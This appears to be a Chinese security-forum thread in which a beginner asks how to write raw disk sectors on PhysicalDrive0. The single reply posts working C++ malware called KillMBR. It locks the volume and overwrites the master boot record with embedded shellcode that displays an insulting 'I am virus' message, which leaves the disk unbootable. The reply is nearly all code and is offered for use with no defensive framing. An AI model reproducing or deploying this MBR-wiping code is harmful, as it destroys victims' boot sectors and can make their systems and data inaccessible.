首页
社区
课程
招聘
[旧帖] [求助]IoAllocateIrp 创建 IRP_MJ_WRITE 写扇区 0.00雪花
发表于: 2013-8-25 14:37 1752

[旧帖] [求助]IoAllocateIrp 创建 IRP_MJ_WRITE 写扇区 0.00雪花

2013-8-25 14:37
1752
最近在研究NTFS 文件结构。但是却发现打开PhysicalDrive0后。。。不能用ZwWriteFile来写扇区。尝试了用IoAllocateIrp  创建  IRP_MJ_WRITE  后发送给PhysicalDrive0的设备对象,却发现一直死机,初学,希望高手能够帮助一下。谢谢

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 145
活跃值: (85)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int CMbrDlg::KillMBR()
{
     HANDLE hDevice;
    DWORD dwBytesWritten, dwBytesReturned;
     BYTE pMBR[512] = {0};
     
    // 重新构造MBR
     memcpy(pMBR, scode, sizeof(scode) - 1);
     pMBR[510] = 0x55;
     pMBR[511] = 0xAA;
     
     hDevice = CreateFile
         (
        "\\\\.\\PHYSICALDRIVE0",
         GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
         NULL,
       OPEN_EXISTING,
        0,
       NULL
        );
     if (hDevice == INVALID_HANDLE_VALUE)
        return -1;
     DeviceIoControl
        (
         hDevice, 
         FSCTL_LOCK_VOLUME, 
         NULL, 
        0, 
        NULL, 
       0, 
         &dwBytesReturned, 
         NULL
         );
     // 写入病毒内容
     WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
     DeviceIoControl
        (
         hDevice, 
         FSCTL_UNLOCK_VOLUME, 
         NULL, 
         0, 
         NULL, 
         0, 
         &dwBytesReturned, 
         NULL
        );
     CloseHandle(hDevice);
貌似我看到有这样的代码,不知道能帮上你不
2013-8-25 19:33
0
游客
登录 | 注册 方可回帖
返回
//